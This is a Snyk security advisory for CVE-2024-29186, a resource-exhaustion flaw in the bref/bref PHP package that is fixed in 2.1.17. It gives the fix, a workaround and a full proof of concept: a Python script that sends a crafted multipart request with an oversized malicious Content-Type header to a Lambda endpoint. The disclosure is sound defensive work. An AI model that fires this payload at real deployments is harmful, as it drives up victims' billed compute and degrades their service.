Uncontrolled Resource Consumption ('Resource Exhaustion') Affecting bref/bref package, versions <2.1.17
Snyk CVSS
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-BREFBREF-6483222
- published 24 Mar 2024
- disclosed 22 Mar 2024
- credit smaury
Introduced: 22 Mar 2024
CVE-2024-29186 Open this link in a new tabHow to fix?
Upgrade bref/bref
to version 2.1.17 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the process of converting Lambda events to PSR7 objects when handling MultiPart requests. Specifically, the parsing of the Content-Type
header in each part of the request, utilizing the mb_convert_encoding
function, can lead to prolonged execution times. An attacker could exploit this by sending specially crafted requests, resulting in increased processing time and potentially higher costs due to extended billed durations.
Note
This is only exploitable if the Lambda uses the Event-Driven Function runtime with a RequestHandlerInterface
handler and accepts POST requests.
The impact is more significant on Lambdas running PHP runtime versions up to PHP-82, where the billed duration could exceed 900ms per request.
Notice that the vulnerability applies only to headers read from the request body, as the request header has a limitation that allows a total maximum size of ~10KB.
Workaround
Perform an additional validation on the headers parsed via the StreamedPart::parseHeaderContent function to allow only legitimate headers with a reasonable length.
PoC
Create a new Bref project
index.php
:
<?php
namespace App;
require DIR . '/vendor/autoload.php';
use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;
class MyHttpHandler implements RequestHandlerInterface
{
public function handle(ServerRequestInterface $request): ResponseInterface
{
return new Response(200, [], "OK");
}
}
return new MyHttpHandler();
- Use the following
serverless.yml
to deploy the Lambda:
service: app
provider:
name: aws
region: eu-central-1
plugins:
- ./vendor/bref/bref
Exclude files from deployment
package:
patterns:
- '!node_modules/'
- '!tests/'
functions:
api:
handler: index.php
runtime: php-83
events:
- httpApi: 'ANY /endpoint'
- Run the following python script with as first argument the domain assigned to the Lambda (e.g.
python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com
):
from requests import post
from sys import argv
if len(argv) != 2:
print(f"Usage: {argv[0]} <domain>")
exit()
url = f"https://{argv[1]}/endpoint"
headers = {"Content-Type": "multipart/form-data; boundary=a"}
data_normal = f"--a\r\nContent-Disposition: form-data; name="0"\r\n\r\nContent-Type: ;=auto''{('a'(4717792))}'\r\n--a--\r\n"
data_malicious = f"--a\r\nContent-Disposition: form-data; name="0"\r\nContent-Type: ;=auto''{('a'(4717792))}'\r\n\r\n\r\n--a--\r\n"
print("[+] Sending normal request")
post(url, headers=headers, data=data_normal)
print("[+] Sending malicious request")
post(url, headers=headers, data=data_malicious)
- Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious
Content-Type
header, used more than 400ms of billed duration.